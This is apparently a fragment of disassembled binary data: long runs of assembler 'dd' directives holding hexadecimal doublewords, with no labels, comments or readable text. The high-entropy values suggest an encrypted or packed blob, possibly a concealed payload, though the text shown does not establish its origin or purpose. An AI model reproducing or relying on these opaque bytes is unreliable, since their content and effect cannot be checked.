		dd 0FC85616Bh, 0AA42F1EDh, 6D6E6279h, 71AAC270h, 30EDF204h
		dd 0C56D63C7h, 0F7732DCDh, 583F75A8h, 0A2E00DF6h, 2DE24479h
		dd 9BA13017h, 145499F9h, 0C02221ECh, 0E7E0F887h, 931569E0h
		dd 791D13FCh, 31CE86D4h, 0F88AD7DDh, 1FF4E7C5h,	0C04122C7h
		dd 0D7D23495h, 0D8445D6Bh, 66D7E2B4h, 0ADD0865Dh, 516DD764h
		dd 546DE185h, 8584EF23h, 0F29AF1FFh, 4D754926h,	7FD70474h
		dd 4FB0E143h, 7966D7F4h, 62ADD1C6h, 61E8F7D7h, 0A30A07A7h
		dd 0CD8479E0h, 7FD74F2Dh, 0EDBDE244h, 5528FE89h, 0CA39B00Fh
		dd 8468B6A9h, 0F7EBF4CFh, 8E176B37h, 2BD77B39h,	6DE8C63Bh
		dd 4569E7BCh, 246DFC46h, 6965E912h, 0E00DFEA5h,	0E0C7A065h
		dd 0A2C71AB9h, 2DCDC575h, 142BD7B3h, 0DFEDAD30h, 0D361E0F7h
		dd 0F7DFED69h, 68D36161h, 0FDF7B5F4h, 2DCD8537h, 7FDF7ABh
		dd 8533C585h, 4645A68Ch, 0AE85EDCFh, 0C74645E7h, 0A7AE85EDh
		dd 48A4B961h, 6D6BE7EFh, 0EE48E485h, 0C54D6BE7h, 0E7E948E4h
		dd 0E4C56D6Bh, 6BE7E848h, 0C6EC064Dh, 4524E778h, 0DD2DD746h
		dd 464566AEh, 0AEDD2DCFh, 0C7464526h, 7923A72Dh, 0B0D9C4E4h
		dd 0E448F7F5h, 0DFAD6152h, 526529D7h, 615FAD6Dh, 0CDC417FBh
		dd 0FBE70A2Dh, 6D92E033h, 55A0AEDDh, 0F308857Eh, 47796BE7h
		dd 0E7F208C5h, 0C587596Bh, 6BE7FD08h, 8C58779h,	596BE7FCh
		dd 0FF08C5C7h, 52A4F4D7h, 0D7DFAD49h, 55526522h, 0A2D7DFADh
		dd 0AD515265h, 6523D7DFh, 0DFAD5D52h, 5265A3D7h, 0D7DFAD59h
		dd 13124520h, 78E7C56Dh, 0C6EC84E3h, 45ADE748h,	87AD63A2h
		dd 0A2456D6Eh, 6E87ED5Eh, 55A2452Dh, 0EC6E87EDh, 0ED40A245h
		dd 45AC6E87h, 87ED7FA2h, 0A2456C6Eh, 6E87ED6Ah,	61A2452Ch
		dd 0EF6E87EDh, 2D5CA245h, 0B74DC7FAh, 5E04FD47h, 4707CBF7h
		dd 0F71D04FDh, 89E204CBh, 3391E2EDh, 0ADF10436h, 902AC707h
		dd 6B6DE1C5h, 5C830C7h,	314474C0h, 0E88475A5h, 0B1F05FFAh
		dd 3BC407C8h, 75A1416Eh, 0B5DAEFC5h, 0B96DA5E7h, 0A20AD7Dh
		dd 6099592Ch, 15E78D70h, 0F7D00427h, 55A63144h,	65CAF284h
		dd 0B959ED81h, 82B82358h, 63625169h, 971173ADh,	0FAB6AE3Eh
		dd 3E94D7FDh, 0EED2FA84h, 85269711h, 0D7FCC2F7h, 0FA050294h
		dd 971179D2h, 0C2F78536h, 1694D7FFh, 6BD2FA85h,	85069790h
		dd 0D7FEC2F7h, 0DE061A94h, 242EEDADh, 0EDF9797Dh, 79E22C61h
		dd 132D0799h, 797DE728h, 2C61EDC5h, 209979A2h, 3E2E132Dh
		dd 0ED01D8A8h, 65622C37h, 0A06D0C98h, 0A9E0339Dh, 63472DE9h
		dd 0F5C6E4CCh, 0B1C7F1ADh, 6D6EE0FCh, 412D7188h, 47EDE5C4h
		dd 0C54DE5C7h, 0D7A736C5h, 0FDC66DEDh, 0A5E70FF1h, 2DCE4575h
		dd 0A86721E8h, 1A2DECC7h, 0C768F0F7h, 0C7A52DE4h, 0F3C57D6Dh
		dd 30E7548Ch, 0B4FA47E8h, 492BC739h, 0D72DE4C7h, 845DE7A1h
		dd 0B5682DECh, 0E8E0F136h, 30B5B0A4h, 6DEEC5C5h, 7B33D71Ah
		dd 999C93F7h, 0C47D2DF7h, 0BD45FEE9h, 0E6477527h, 0A2A1D3EDh
		dd 6DE6456Dh, 79A260D0h, 0A634F285h, 0C4C43EE7h, 6D3FADD1h
		dd 0FEC5756Eh, 0BBC7E5B7h, 0CCC85ECh, 4D65E7E4h, 9FED7462h
		dd 0C4A4AF9Dh, 0D7B3B4E1h
		dd 0E745652Eh, 0EA91256Dh, 6DCF4749h, 75EF91F4h, 256DE645h
		dd 0C545EF91h, 0E70DFFE2h, 9ACD79E5h, 0C4F7E96Dh, 6DCE4748h
		dd 4120D70Fh, 0DE6D64EFh, 0C57164E7h, 0F7A906DBh, 0F3069727h
		dd 6B2117ADh, 0ED90F441h, 0E4494DE1h, 0A50ECB05h, 0D4B020E7h
		dd 0D7A6F1BCh, 0ADE07401h, 4AF7C46Dh, 2D9A26DCh, 0ECC8E7F5h
		dd 472DD104h, 465DA1F7h, 0C7D56DE1h, 0F8C771A9h, 0A6812487h
		dd 77D18469h, 59A0D71Eh, 676DD3C5h, 0C6E442F7h,	0D795EDDEh
		dd 0CE8551A2h, 0E1F7D7EDh, 2DA46B49h, 51E5C79Fh, 0F26DD9C7h
		dd 45656E6Fh, 4101EDC5h, 0EEC7C845h, 0EBF7052Dh, 2DD6C569h
		dd 75E1C74Fh, 0BFADA7A0h, 8661A271h, 0F733ADFAh, 0BF2D9C22h
		dd 3E786C7h, 3FD806CCh,	0AC686F2Ah, 0F1BFBB0Fh,	4684A9C7h
		dd 0C79B2DC2h, 756FCCB4h, 2A7349C7h, 0ADB3A17Dh, 1068654Ah
		dd 7D2D4D4Fh, 0EE5569C7h, 0D0474FD5h, 8DCEF548h, 8B1D1BADh
		dd 3FCA054Eh, 7520A1C5h, 7AD83E0h, 0FF046D1h, 0A1BE2D93h
		dd 0E5857DA2h, 0E7F7C76Dh, 0EDB5CD79h, 552DE747h, 0C73FBCACh
		dd 0C4656DE7h, 0E71FFFF4h, 0A7697924h, 0E4E7F8EDh, 0ED056955h
		dd 480A3D29h, 542DC646h, 2955EDE7h, 6DBDED65h, 0A171652Eh
		dd 0E17177B4h, 0EDFC046Dh, 79604177h, 0EEEDF104h, 0C7656925h
		dd 0C7ED2DE4h, 0EF855A56h, 0E2C7BDB7h, 0B7EF8569h, 5DA2D77Bh
		dd 0BBA6E2C5h, 45656B31h, 0D7DD2DCEh, 9B4CED90h, 6DF7076Dh
		dd 2DCD849Ch, 7D2CE7A7h, 7F74A1A1h, 4445E4E7h, 0C70C2DC5h
		dd 0CAC5545Eh, 25F77F7Eh, 6DD94645h, 64B4C702h,	9C2D4D74h
		dd 0A17D6EF7h, 0D7DD81B6h, 0C504796Dh, 0ABE022ADh, 0EDA1617Dh
		dd 0E8B87324h, 1AEDAE17h, 47125C7h, 0C7FB01CEh,	0FB4760B4h
		dd 0A1D78706h, 6DEE4465h, 58583F92h, 0C7EDE306h, 0C5496BECh
		dd 0E75482CDh, 0FE06616Bh, 0F392FE6Dh, 3EE546F4h, 7D2CC78Eh
		dd 5C78281h, 85552BE7h,	0D731CFD4h, 9660B433h, 66D713EDh
		dd 0FFD30669h, 75AD61FBh, 5187F084h, 5C0B1E7h, 0F7CB6DD5h
		dd 0CC44F335h, 0E1C7E9B1h, 2DD50551h, 51E2C2E6h, 5CC7DF46h
		dd 0ACED8171h, 6336ED84h, 8D76FFC5h, 85E7A52Dh,	6DEC47CDh
		dd 516D7F2Ah, 26C7FF85h, 4655ADC7h, 0F7C5F9E9h,	0F4465D22h
		dd 6EC7C4B7h, 0F08FD555h, 616DC71Eh, 516DE185h,	479066D7h
		dd 71BBF9E9h, 0DC0659E1h, 6BF751B7h, 0F9E98761h, 0D34565E5h
		dd 71EDE9C7h, 4661E9F7h, 0F787EDE1h, 0CF467520h, 6CF7866Dh
		dd 0FCE7C645h, 49E5D747h, 1F2DD6C7h, 0C74D67F7h, 0C7A5ADF3h
		dd 0C304B42Ch, 4273FAEDh, 0F0C706CCh, 0F431013Eh, 416DEF46h
		dd 0C16DEEE7h, 0C7C1EDADh, 0A26CE317h, 0AAF7782Dh, 0ADE3C47Dh
		dd 688FA13Eh, 0B42DDA86h, 0C769ABE7h, 0B1BC2DE6h, 0E1467522h
		dd 0E9F779EDh, 0ADE0C749h, 7B05D7E7h, 0A0EDE0C6h, 6E54015Dh
		dd 739A6D89h, 0D9C7412Dh, 6D93656Dh, 0CFFB0661h, 41AFF78Ch
		dd 1F6D408Dh, 695520D7h, 41BDED21h, 0D1047DE9h,	0E1F7B52Dh
		dd 0ADDCC765h, 40C0F71Ah, 297FD3C4h, 0EF7169F7h, 29EE2DA4h
		dd 0D8C46565h, 0A0A037EDh, 0F1B5602Ch, 400AF77Dh, 0A66D6C8Dh
		dd 46CB84F7h, 0F005EDE3h, 0BBE0F784h, 25F71FE7h, 0EDF80541h
		dd 5D60E7D5h, 0DFEDABC1h, 0A1FC59F7h, 0F7872D8Dh, 8EE0740Ah
		dd 0EDD7252Dh, 36F5C645h, 5D20114Fh, 56ADFE84h,	0B656C80h
		dd 0E7FFED71h, 682B45EAh, 0A5824EEDh, 46DA46A4h, 7D2CF78Bh
		dd 1AED9681h, 6D4D8D7h,	0D7AA6DECh, 0AFD1933Dh,	0A2F75AB7h
		dd 0F0F0856Dh, 0B7749C06h, 34ED89ECh, 45496B53h, 0E79AB7EFh
		dd 2D72B538h, 0A4AC1F6Dh, 2D99EC4Dh, 5D25D7B8h,	0C0FFCAB2h
		dd 2D3CFCE7h, 0A167EDADh, 9E35CBC4h, 1AECE66Dh,	0EDDE8656h
		dd 75A2E718h, 6AEDDCC5h, 44C491F7h, 33E6EDC5h, 0F3C7B440h
		dd 0C6E7D9C4h, 2DDA049Ah, 556BA1FCh, 0B33FFCC6h, 46E486C7h
		dd 0D7B831C4h, 0DBC74123h, 22D78DEDh, 6D847937h, 0AC834DA0h
		dd 0FE888AF8h, 2DFCB120h, 0F7DBF0A6h, 0F50451A5h, 252122EDh
		dd 0C7FAC471h, 556DF77Ch, 0F572ECC4h, 46456BD7h, 0F7AA8BDCh
		dd 98CC59E5h, 6DC7A6ADh, 0C7E3C745h, 6521E7C7h,	0C1EDF905h
		dd 0BF696B70h, 5085872Bh, 6D29940Ch, 0E6E7C66Dh, 0BFEA8551h
		dd 51AB40C1h, 0F906BB34h, 4B0F9F0h, 2BD2EDF1h, 9E615D25h
		dd 0B4C7B82Dh, 3EB67360h, 5565FE64h, 0DFB37CF5h, 874125C7h
		dd 33D5F9F1h, 84956929h, 26F705F1h, 6DF08745h, 8C382333h
		dd 0DF2DD844h, 8C5DEFE7h, 0B0A0ADBCh, 41B18B95h, 0F1A3DC3Ch
		dd 0F1976B40h, 0B817707Bh, 88F28959h, 84A857A1h, 20EEF1D6h
		dd 0E8C74D25h, 0A0C7E1ADh, 0F6C2C469h, 75A0D7E1h, 0A6EDE804h
		dd 844565B2h, 0F714EDE1h, 0EA8565A1h, 0E9A1116Dh, 0ED6BE86Dh
		dd 7561AC50h, 36EDE7C5h, 9869EC12h, 0F7176DA1h,	4BF89D50h
		dd 7832B079h, 0ED2D98CCh, 692D0236h, 0B3ED6D98h, 0D859E424h
		dd 12316DB5h, 0EEC5D4F3h, 0E93C736Dh, 2DF40638h, 4561E729h
		dd 65ADCFC5h, 85E44CD7h, 200EEDD4h, 0C486239Fh,	201ECE2Dh
		dd 0EDADAF49h, 41E83448h, 34AC946h, 3B7DA561h, 0E72577EDh
		dd 0EA452B1Fh, 4D24482Dh, 12C3C5F0h, 49EC717h, 24EDD346h
		dd 0C7F4F8D7h, 91E12DE6h, 0ECC72897h, 0E4E7E6ADh, 34FC4745h
		dd 4565AB67h, 6772F547h, 4745A5ABh, 0C7F8EDF5h,	0ACC149A5h
		dd 25E7BBEDh, 0B7D44745h, 0AB51812Fh, 8BEDA37Bh, 0C555E5E7h
		dd 0F72DF4E0h, 0D10475E9h, 7B7089EDh, 0EDFA0474h, 54BAB134h
		dd 0B8B79A23h, 0B27D67E7h, 0D725ED6Dh, 0D345656Bh, 98D707FCh
		dd 0EDEE061Ch, 4D6BD716h, 9A9CC4C5h, 0C64965D7h, 0F7E76DECh
		dd 45A08072h, 36E7DAEDh, 0BCA682EFh, 0D4B1D7EDh, 6D8CB6C9h
		dd 466B72D7h, 0F7632DCEh, 0E6467AF3h, 0A5E7976Dh, 0EDEE4649h
		dd 796B9BBDh, 3DF29463h, 0C450F381h, 0F095EDF1h, 0ED0569A5h
		dd 0EBF785EDh, 0B7AAF261h, 0C37EE7A9h, 0F78C8521h, 607DE7E7h
		dd 0B1BF2D86h, 93A27D6Dh, 28F7E3F4h, 2D78B271h,	7DE4E7F3h
		dd 11365F01h, 8245E3ADh, 0E7BA6D6Eh, 85A25124h,	75C792ADh
		dd 0AD7562FCh, 7D66F7DFh, 2879F2C5h, 8469E0A1h,	0E7B87FCFh
		dd 0A9EC75E4h, 0B643346Dh, 0ADE5067Ch, 0EC77F7E7h, 5AED8373h
		dd 0A15CC7C7h, 0C71BFF82h, 82A168C7h, 0C7C718FFh, 0FF82E874h
		dd 45ADE71Eh, 12CFCB84h, 6DFBB3E7h, 0C7E52D8Ch,	0D606596Eh
		dd 0A261322Dh, 0ADEC0561h, 5124E7F8h, 0B7EDACACh, 454DA2F7h
		dd 0F7766DE5h, 0CEC555E5h, 9FE7EC2Dh, 2D9AE2B4h, 0E040F71Bh
		dd 362DECC7h, 0B84D6B9Dh, 0C7188788h, 0ACC043C2h, 6BD7666Dh
		dd 0EDC4C56Dh, 0E8B3E760h, 247A977Ah, 694CC0D7h, 0D724B7B8h
		dd 0EB85D4C3h, 64E71F77h, 0ED866C55h, 5C82E757h, 0CFBC8EC3h
		dd 0EF4CBD79h, 0E7F52DB8h, 0FA8651E0h, 20B28FEDh, 40F756Dh
		dd 0BCE6D06Eh, 5C6DA6FCh, 0C46924D7h, 2193F4F8h, 0F104752Ah
		dd 20F7C4EDh, 0EDAA6141h, 4D6BE731h, 0A4EDE0C7h, 46FC9991h
		dd 0E79F2DD2h, 0B7155DA8h, 0AAC760FCh, 0F4B6B865h, 7563C7E1h
		dd 0F92DCDC5h, 6CA4BD7h, 0E74B2DCCh, 9EE1788Ah,	25E7D3F1h
		dd 0EDAD0E08h, 59290121h, 76F46477h, 217C4BD7h,	0C7B3EDB5h
		dd 0A9A96A36h, 0B113606Dh, 94EB84CAh, 0FCB0F76Fh, 0E66DBD74h
		dd 0C55521FCh, 0E7A52DF8h, 0F5855128h, 4F7CC6Dh, 0EDE086D0h
		dd 7126E7CFh, 5835BA28h, 0C461A9E7h, 0F765ADD1h, 0F8466568h
		dd 0EAE7B22Dh, 0ADE08651h, 756BD7D9h, 0B3A6F404h, 3563D303h
		dd 0D7C3B6B9h, 0E1464810h
		dd 533D727Eh, 0ADEF46C9h, 0E95215B1h, 7867BEBh,	68C39D1Dh
		dd 571BCFAh, 47EBFB50h,	283B7FA6h, 37FD8541h, 4D6BF75Ah
		dd 0CFFEF386h, 0A969E5C7h, 29602DB7h, 0ADA969E4h, 0AA0C232Dh
		dd 0EDA74145h, 0C410E0D1h, 0DAAD72A8h, 0C5F8D091h, 0C79F2DFFh
		dd 0EAC4F7D3h, 2FC707EDh, 0F7AAEDAFh, 0E0E0E7DBh, 0E22DF884h
		dd 4645A7E7h, 9384ADE8h, 0CE06C475h, 0E9F78596h, 2DDFC565h
		dd 55A9A28Ah, 9B6DE4C5h, 0C6129C7h, 0E767AD98h,	0FDC55128h
		dd 0E0D2D186h, 0B6C12845h, 5D62C7A4h, 0C62DB679h, 866DE651h
		dd 0F747B1CBh, 0E6067DA1h, 25D7DD6Dh, 73A77369h, 45AA4023h
		dd 0ADEDE607h, 0C6456692h, 0D722ADD8h, 0C6C66167h, 77C7D937h
		dd 2DD3C7F0h, 2065E7B8h, 0D9ADC886h, 6F4CBD7h, 0F7C5F3D0h
		dd 0E5066921h, 0AAE0C16Dh, 0ADD0C445h, 45ADF71Dh, 3E3482B6h
		dd 0EEED5331h, 0C0A777A9h, 0C184986Dh, 0E4E77F71h, 6DD04645h
		dd 0FC0B8384h, 8D2D98B3h, 2E492A20h, 0D7A1FF81h, 0AE21684Ah
		dd 0E7E77FEDh, 6DFF4645h, 59ABCED5h, 47B1CE46h,	0C55920C0h
		dd 0D7D56DF1h, 0AE336160h, 0A7E7F46Dh, 30FCC575h, 69A2E7A5h
		dd 0E2ADDB85h, 0C5A8EAF7h, 0E720ADDAh, 0CB07696Bh, 0A951B36Dh
		dd 0EDC7C565h, 45E91360h, 1A6DC246h, 0F171E7FEh, 0C25E6D6Fh
		dd 0CFC574F6h, 6BD7A4ADh, 0FCF8857Dh, 0A463D7E4h, 612DE6C4h
		dd 0C5AC34A3h, 0D7CFB4DCh, 0A6B194EAh, 0D4C7F3EDh, 2DE507FCh
		dd 61E5C0F9h, 0D72DC586h, 7449E769h, 0E79473A1h, 0C50549EEh
		dd 0D0C72BB6h, 0ADC104F4h, 516A604Bh, 5EADD985h, 3C0CEBC7h
		dd 0C772AD51h, 8D347857h, 0A4A1682Dh, 0F2833479h, 0A4A2919Dh
		dd 0E2F4D306h, 0F645A0C7h, 0E7B47493h, 85217DAAh, 6AE038EDh
		dd 0ED81217Dh, 0FC40F7FFh, 52B4B252h, 3479EB61h, 0D7DF2D99h
		dd 0AAC35DAEh, 45F7DDF7h, 91E504C8h, 79A2B072h,	6B33F9C5h
		dd 0F2C040F7h, 0C7DBB68Bh, 0A1564920h, 0AEE794EDh, 2D8ED05Dh
		dd 857DC703h, 466DE146h, 85B30193h, 117E78D5h, 8EF4F4B8h
		dd 267D9731h, 0B8EB4745h, 616720A7h, 0E6B68B9Eh, 62EC09E7h
		dd 0E7ECADB9h, 0CB8641E4h, 0AFB2982Dh, 0F188A828h, 616382D1h
		dd 0C973F7C5h, 45B4E192h, 0E7DF37E2h, 0FC47512Ch, 0A4AA47B7h
		dd 2D0DF15Dh, 583DC7EFh, 0B3ADBC52h, 46F689D7h,	0E7DEF1D9h
		dd 84897DEDh, 0E6F7F76Dh, 0F7B36865h, 75ADA005h, 26C3DE45h
		dd 84656461h, 0E73E00F5h, 7733C22h, 0A7E7FCB3h,	2DDBC465h
		dd 0E4055C76h, 0E6BBF485h, 45E405D7h, 40BF38F5h, 0EC85B42Bh
		dd 6AF74DF7h, 0ED7DF461h, 656DACD1h, 0D9B1A699h, 450ABBE0h
		dd 0D7F8B0FBh, 8BDC75A7h, 0FAC7E3B6h, 0ED35128Dh, 41256E65h
		dd 476DA6EDh, 0A351A76Eh, 0C72DF7ACh, 0E1C6384Dh, 3D60E4EDh
		dd 0AD9EB607h, 18CF63D8h, 0F66DAE7Dh, 455A7E7h,	0F7D02DCDh
		dd 0AEAC41ECh, 89D79C6Dh, 318B55CCh, 5568F7E6h,	92F9C906h
		dd 7D9849D7h, 0C06F07ADh, 9E685C57h, 20714A7Ch,	0EDE00645h
		dd 60BDF75Ah, 0E42DC5C6h, 0C5D8B9E7h, 51B36DE5h, 0D3C66165h
		dd 0BEE75AB9h, 0B14C921Ch, 0B0E4D785h, 3A2D95E1h, 0C54DA2F7h
		dd 0E7B0EDDCh, 0F2047165h, 8992ACEDh, 0F73379C8h, 9796E7A7h
		dd 24ED4F71h, 6456E22h,	0A3B5ADDAh, 0DA447D69h,	300277B1h
		dd 0ADC385F8h, 28D6E074h, 0D92DD285h, 0E1F440B0h, 0E7A4AD90h
		dd 0E0043496h, 6021A5EDh, 0B18EEE79h, 14674F14h, 20FA61D5h
		dd 0C54162CAh, 0F0BF30DCh, 0E5C7596Bh, 0A3C797C1h, 0EDAB784Dh
		dd 4DE302E9h, 0F9ED6A58h, 4F4352Ch, 2E4ADF1h, 5D34496Eh
		dd 0F9FCFDA6h, 2D8E71FCh, 8863D7A0h, 91EDF446h,	0C555A3F7h
		dd 0E72737DEh, 0A6B77DEDh, 0E531716Dh, 0EDADBA79h, 0DC4AD777h
		dd 9FF4CCC5h, 4471EDE7h, 0F71EEDEBh, 72B7FCB0h,	6702E4F2h
		dd 2D515588h, 0E8437E47h, 6FFAE145h, 603B67D0h,	0C7B03B80h
		dd 0CFC66125h, 0EB00E02Dh, 0EDA5585Dh, 5D6BCC35h, 27C264F9h
		dd 0C700BE20h, 0F01FEDF5h, 0F88749E0h, 0A7E7EA2Dh, 6DDAC559h
		dd 0D8366218h, 5D2DBE01h, 3ED6F1C7h, 0F7936D7Eh, 95E36522h
		dd 65A1CA30h, 0B6F74569h, 69E8E718h, 2370F345h,	3EA4A210h
		dd 0C7E6AD88h, 9E60C4F1h, 6DC7B1FCh, 32BCBE59h,	88EAD795h
		dd 0AE2DFEC5h, 8859E9E7h, 0A0582DBEh, 0DB874925h, 0E4616EB4h
		dd 35FA8749h, 48F5A905h, 7A7CF687h, 0C5CC87B1h,	0F7D674E6h
		dd 92205E7Ch, 683200F7h, 2DFB4645h, 4528F799h, 0D07CE886h
		dd 8641A5C0h, 0BDC22DCEh, 8D37144Ah, 6FE7C1ADh,	2D8DAD51h
		dd 7D2DD759h, 8737B1E1h, 467520F7h, 0D782FBEDh,	0B91361ECh
		dd 0B6F7DA34h, 6DEC8498h, 49EBE7BAh, 0C5EDD805h, 0E379ACF7h
		dd 907BAD98h, 0C3C661AAh, 0EFF7652Dh, 6DE04465h, 0BC7E8104h
		dd 15EDDEC5h, 0C46DA2E7h, 8099F7C7h, 8B73E48Bh,	0BBE77A6Dh
		dd 0B7BF3660h, 612AD725h, 1A6DA670h, 455A4E7h, 959AEDCDh
		dd 0C5C665EDh, 0A470B1EDh, 6DF58745h, 5B3AB111h, 64EDD106h
		dd 87496BE7h, 0B3DCADC9h, 0F9C7433Ah, 0A1D764EDh, 6DFA4649h
		dd 842220DDh, 76EDEC46h, 46C4042Dh, 0B3106DCDh,	8262E439h
		dd 0BBE741ADh, 0B49E7654h, 5166D7E4h, 0C4ADE9C5h, 0A4FCBDD7h
		dd 0B1F0AD96h, 0E9C661E9h, 26E786F2h, 0ADC5C771h, 0E48253F9h
		dd 86EDBA34h, 0F041A6E7h, 935BEDA2h, 0E30555EDh, 0A68006EDh
		dd 0EDB17269h, 69E572B5h, 476DEE84h, 471A4A1h, 0F705EDFBh
		dd 0B529596Bh, 0AFE7B7EDh, 0B2CDC480h, 7563C731h, 0E76EE06h
		dd 4649AA71h, 410EEDE6h, 8D6D59AAh, 4D5369EDh, 0B18ECCC4h
		dd 8434D733h, 8F2DC146h, 0ACABF5E7h, 0C75D2D4Dh, 0C5C76809h
		dd 69A16CEDh, 0ADFA0659h, 0E543E772h, 38AD3D2Ch, 0EFF90255h
		dd 0F754F5E7h, 0E5C5F445h, 0EDD72874h, 0F7FD0545h, 728CC769h
		dd 14EDFA04h, 0C6456751h, 0E7F167C2h, 9369DFCEh, 4E116E7Fh
		dd 6DE6C5F9h, 0E8CCC7E6h, 0BC37AE9Ah, 0A2F509C7h, 7593AD86h
		dd 9E565FCBh, 3D7A4EDh,	0EDFB04EBh, 7169E707h, 9B2DA4CFh
		dd 0F04DA5F7h, 7D3A6DA8h, 0E5C5752Dh, 0ED313A2Dh, 0ED66C95Dh
		dd 2CB5D707h, 0D027EB45h, 0AE41E7A1h, 0E7E7BFFBh, 0F7476563h
		dd 2DC72304h, 0AD988141h, 71291064h, 842D6228h,	28C4DD6Dh
		dd 0C785EDD1h, 0FB05C078h, 0E13068ADh, 0EDEF444Dh, 756FC7DFh
		dd 9604835Eh, 6B79672Dh, 17A7295h, 0A71F45A1h, 0BBE71C6Dh
		dd 78CC8440h, 5963C7A1h, 0D9F1C306h, 0C6D005D7h, 1D5E6DE3h
		dd 0DA455491h, 65E7742Dh, 0ED4CCC5Dh, 41A95DF0h, 1C6DA60Ch
		dd 78D48DD7h, 6F7AF7A7h, 0CCC78442h, 0E6612E36h, 34F68761h
		dd 596BA2ACh, 0B26DE8C6h, 8A6CDE73h, 0F7C16DAEh, 95487383h
		dd 0DD25FBA6h, 6DE4C474h, 5127ECEFh, 0E034A855h, 76563E7h
		dd 0F7B304F7h, 81EC1CA6h, 63C71A2Dh, 0B6EEC549h, 0D8DACCF5h
		dd 856DE1C5h, 147880E7h, 0DCF52D90h, 99629045h,	28A19E2Dh
		dd 0ADA5AD5Dh, 452DF726h, 73BF345h, 751A6E7h, 0F00887DAh
		dd 0F1C6ACEDh, 0C58241BFh, 0ED6057ECh, 71A5E7C5h, 0D9ED9E61h
		dd 0C76925D7h, 43F06DFAh, 0F5C47DAAh, 0A3C7B8F6h, 0AD2DEA49h
		dd 656F3351h, 0FF2D62F4h, 0C5242CB1h, 0C7EE06E8h, 98EDD9DBh
		dd 1BC75CADh, 1ED38572h, 5DADF7D7h, 9F3F7A6Ah, 8C75A9E7h
		dd 0A31CF9A2h, 0EE45716Bh, 25E77283h, 0D1CF8469h, 5DA2EC54h
		dd 7DF8FB85h, 0C67DEDDCh, 0F79FEDC1h, 941365A2h, 72D7D276h
		dd 3EF746A4h, 7CB8D704h, 666DA6E0h, 0C6FC74C7h,	0F809EDCEh
		dd 0E0444D6Ch, 6AF718B4h
		dd 2D840B75h, 49E5D7A4h, 0BAF7B840h, 4B0A2F7h, 0F734ADF8h
		dd 0D245696Bh, 6EC74AF8h, 0ADAD7393h, 0DFBBE738h, 0F47BBCB3h
		dd 57AC64D7h, 0D7A56D6Ch, 454841EDh, 0E4F707EDh, 2DF3C569h
		dd 69E9C72Bh, 54EDF204h, 61FC15D7h, 0E71AEDADh,	0EFC5B03Ch
		dd 0E3E705EDh, 0F4C3C545h, 51A7E7D5h, 9D2D8E10h, 4679E9F7h
		dd 0A19EEDE0h, 0CD8479ABh, 2AF75C2Dh, 0B26F1455h, 0FD01CC39h
		dd 0C6ED4B8Ch, 34C700F7h, 234E2D88h, 0CDC55439h, 0F8C7D7ADh
		dd 6DEE86D3h, 4520B3A3h, 0A2EDDEC5h, 0F6E703D7h, 5DF06DA8h
		dd 0E52C41E9h, 8D80F7FFh, 77AE024Fh, 65A1E758h,	0BEFEF505h
		dd 4645E0D7h, 9CCA6DE4h, 0D94471EDh, 8453952Dh,	0F3FB05A2h
		dd 9F3EE7EEh, 692D9D4Dh, 0C548DA43h, 0C7D3F7CAh, 8E506CC6h
		dd 0A3B0152Dh, 0F4C34675h, 0C08F807Ch, 0FD2DCD85h, 8141AFC7h
		dd 0D787B191h, 0FEC4908Dh, 0B96991BBh, 70CC4685h, 416B5FB0h
		dd 6238CA85h, 33552E60h, 0F7AC7668h, 4DAE9D83h,	3BE7BF2Dh
		dd 7346A028h, 45EFF7E6h, 7F7FFCC4h, 6055A5C7h, 21DB2D99h
		dd 0CD8465AAh, 0E4E7E4ADh, 0ED6DFE59h, 4DA1F754h, 0A0F7DC06h
		dd 3D5122E7h, 51DDF132h, 0CAC54D6Bh, 26F7DF43h,	3CC1044Dh
		dd 88B4B132h, 646DEF86h, 44CC7691h, 0E7FFEDDDh,	7BA26D68h
		dd 8F72922Dh, 41AA502Fh, 0D43BF7D6h, 0E0F4D507h, 85456DD7h
		dd 0F7D534F9h, 0D5C6F43Bh, 30B099F4h, 0AD96F7E0h, 512DF282h
		dd 0B12DF5C4h, 0C749E0E7h, 0C7E9EDD0h, 0F30658C6h, 0E7A2C52Dh
		dd 2DB57071h, 45640122h, 6E2DB52Ah, 0B555A271h,	0C7A6C284h
		dd 0FEC53B97h, 28C7D431h, 0AD91F93Bh, 49EDD763h, 0F7F7FD06h
		dd 4649EAD0h, 0E7B8F1F9h, 82E169E4h, 0EA6C90ADh, 71CAC47Dh
		dd 0D08ED7D7h, 742DAD31h, 84B85702h, 0B062ADF2h, 9DA29890h
		dd 0A7612E7Bh, 0B2B85551h, 796612FDh, 0F3ADD106h, 2818ECF7h
		dd 0D7D577B0h, 0B0EF71E5h, 0ADE7DBF0h, 6DACE17Dh, 9426C7BCh
		dd 0CB34F986h, 84245DC7h, 9060B2CBh, 6BC17D63h,	0A4D71F87h
		dd 0B78D1565h, 496B2083h, 6BFF146h, 0ECDC78C0h,	0D72BBA40h
		dd 0B36F6D28h, 0E5C77FADh, 0EDD74645h, 0CB1BC78Ah, 172DFDC7h
		dd 0EE79A512h, 0E7C82D8Ch, 99B64880h, 0A0CC526Dh, 2DA55859h
		dd 9A5224F9h, 356D6634h, 7975642Eh, 6101B288h, 0BDE15924h
		dd 35009EEDh, 0EDB0B554h, 2427F7F8h, 0E9AD83D3h, 0C4B0D581h
		dd 0C71F2DE9h, 73784520h, 35B1A6EDh, 0C4F8A1F0h, 28DD10B2h
		dd 0DD32EAC4h, 7556EB1h, 93EF06CBh, 0F2C67966h,	0E0A3E8F6h
		dd 0C4F8A171h, 4DA2B1B0h, 0D6AD90F0h, 44456BE7h, 0BDDCADC3h
		dd 0F546884Ah, 0DAB0BCEDh, 0B3BB63BCh, 0A87DD7E0h, 0E772BB58h
		dd 4752EA1h, 5062EDE2h,	40206DA1h, 2DF7D6F4h, 6DC94471h
		dd 7D6B6272h, 766DEC85h, 84516BA1h, 68427CC7h, 0F3846921h
		dd 0A5E77FB5h, 2DCD8445h, 0E404C7D0h, 7F2D912Bh, 2A4524E7h
		dd 91F22DBDh, 0D8C4E474h, 0A2D7F8CBh, 2DB9E345h, 5DAEA1D5h
		dd 2A6D954Dh, 74521BDh,	0C7F26DC4h, 9C0851A0h, 0AAD71AADh
		dd 0EDC68679h, 4D67D75Ah, 762D95B0h, 865DAAD7h,	0D758EDFEh
		dd 0D4467DEDh, 0E4B0692Dh, 6DCAC559h, 69E5D799h, 5AEDDE06h
		dd 0C4516DF7h, 0E7792DDDh, 0B4AD7DE1h, 58C7F2F6h, 0EDE50748h
		dd 0DA3E4288h, 54B7B5E1h, 0AC84FC95h, 0F0D2EDA4h, 0CD8451ADh
